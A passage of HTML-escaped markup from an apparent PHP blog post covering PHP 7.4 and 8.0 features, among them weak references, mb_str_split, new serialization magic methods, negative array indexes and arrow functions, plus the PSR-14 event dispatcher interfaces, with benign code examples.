    &lt;ul&gt;
      &lt;li&gt;replace an object with it’s children without breaking anything&lt;/li&gt;
      &lt;li&gt;tightening type parameters&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fortunately, this feature is coming in 7.4, here are some examples from 
&lt;a href=&quot;https://wiki.php.net/rfc/covariant-returns-and-contravariant-parameters&quot;&gt;the rfc&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;We can widen the type for method parameters, because anything that expects to be using the 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Concatable&lt;/code&gt; interface will successfully be able to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Collection&lt;/code&gt; class when passing in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Iterator&lt;/code&gt; types:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Concatable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Iterator&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Collection&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Concatable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// accepts all iterables, not just Iterator&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;iterable&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* . . . */&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can tighten the return type because anything expecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Factory&lt;/code&gt; interface can successfully
use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserFactory&lt;/code&gt; because it returns a subtype of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;object&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Factory&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserFactory&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Factory&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;weak-references&quot;&gt;Weak References&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/weakrefs&quot;&gt;Weak References&lt;/a&gt; allow you to keep a reference to an object
without preventing the garbage collector from destroying it. Solutions for this already exist but
have been rendered unusable by PHP 7.3. They’re useful for cache like structures, allowing the
garbage collector to uncache things for you. Here’s an example:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;checkReference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;WeakReference&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Object still exists!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Object is dead!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WeakReference&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;checkReference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Object still exists!&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Somewhere else our object is removed&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;checkReference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Object is dead!&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Cache miss, we'll have to re-create it&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;mb_str_split&quot;&gt;mb_str_split&lt;/h4&gt;

&lt;p&gt;We already have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mb_split&lt;/code&gt; which allows splitting by a regex, but this allows splitting a multibyte
string into set chunk sizes. Here’s an example from &lt;a href=&quot;https://wiki.php.net/rfc/mb_str_split&quot;&gt;the rfc&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; 
&lt;span class=&quot;nb&quot;&gt;print_r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mb_str_split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;победа&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
 
&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EXPECT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;Array&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;по&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;бе&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;да&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;__serialize-and-__unserialize&quot;&gt;__serialize() and __unserialize()&lt;/h4&gt;

&lt;p&gt;We get two new magic methods which we can use instead of the current ways to serialize objects. 
These methods are added because the current ways being the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt; interface and the 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__sleep()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__wakeup()&lt;/code&gt; methods are difficult to use and easily introduce bugs. See
&lt;a href=&quot;https://wiki.php.net/rfc/custom_object_serialization&quot;&gt;the rfc&lt;/a&gt; for more info.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Returns array containing all the necessary state of the object.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;c1&quot;&gt;// Restores the object state from the given data array.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;php-80-features&quot;&gt;PHP 8.0 features&lt;/h3&gt;

&lt;h4 id=&quot;arrays-starting-with-negative-index&quot;&gt;Arrays starting with negative index&lt;/h4&gt;

&lt;p&gt;Currently, all the following result in unexpected behaviour:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_fill&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The keys following the negative number start at 0 and increment from there, ie. they skip the next
negative numbers:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;array(3) {
  [-2]=&amp;gt;
  bool(true)
  [0]=&amp;gt;
  bool(true)
  [1]=&amp;gt;
  bool(true)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Post 7.4 they will work as you would expect:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;array(3) {
  [-2]=&amp;gt;
  bool(true)
  [-1]=&amp;gt;
  bool(true)
  [0]=&amp;gt;
  bool(true)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See &lt;a href=&quot;https://wiki.php.net/rfc/negative_array_index&quot;&gt;the rfc&lt;/a&gt; for more info.&lt;/p&gt;

&lt;h4 id=&quot;consistent-type-errors-for-internal-functions&quot;&gt;Consistent type errors for internal functions&lt;/h4&gt;

&lt;p&gt;Most of the internal PHP functions will throw a warning and return null (or some other ridiculous
value) when you pass in parameters of an illegal type. &lt;a href=&quot;https://wiki.php.net/rfc/consistent_type_errors&quot;&gt;This rfc&lt;/a&gt;
will bring internal functions into alignment with user-defined functions and make them throw a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TypeError&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;jit-compiler&quot;&gt;JIT compiler&lt;/h4&gt;

&lt;p&gt;The performance improvements in PHP 7 were initiated by attempts to implement a JIT compiler, but
were ultimately not released because the improvements made without it were much more substantial.
However, we are now in a place where the performance of PHP can no longer be improved without JIT so
&lt;a href=&quot;https://wiki.php.net/rfc/jit&quot;&gt;this rfc&lt;/a&gt; will bring it into 8.0.&lt;/p&gt;

&lt;h4 id=&quot;arrow-functions-v2&quot;&gt;Arrow functions v2&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;
Arrow function have actually been accepted for 7.4!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/arrow_functions_v2&quot;&gt;Arrow functions&lt;/a&gt; are finally coming to PHP! They will
dramatically improve the syntax of closures from this:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array_values_from_keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To this:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array_values_from_keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;other-news&quot;&gt;Other news&lt;/h2&gt;

&lt;h3 id=&quot;psr-14-accepted&quot;&gt;PSR 14 accepted&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/php-fig/fig-standards/blob/4a10f033b4e5690ad90d656281e6e72b82c0626e/accepted/PSR-14-event-dispatcher.md&quot;&gt;PSR 14&lt;/a&gt;
was accepted. It defines a standard for event dispatchers and listeners:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Psr\EventDispatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;EventDispatcherInterface&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * Provide all relevant listeners with an event to process.
     *
     * @param object $event
     *   The object to process.
     *
     * @return object
     *   The Event that was passed, now modified by listeners.
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Psr\EventDispatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ListenerProviderInterface&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * @param object $event
     *   An event for which to return the relevant listeners.
     * @return iterable[callable]
     *   An iterable (array, iterator, or generator) of callables.  Each
     *   callable MUST be type-compatible with $event.
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getListenersForEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;iterable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Psr\EventDispatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StoppableEventInterface&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * Is propagation stopped?
     *
     * This will typically only be used by the Dispatcher to determine if the
     * previous listener halted propagation.
     *
     * @return bool
     *   True if the Event is complete and no further listeners should be called.
     *   False to continue calling listeners.
     */&lt;/span&gt;
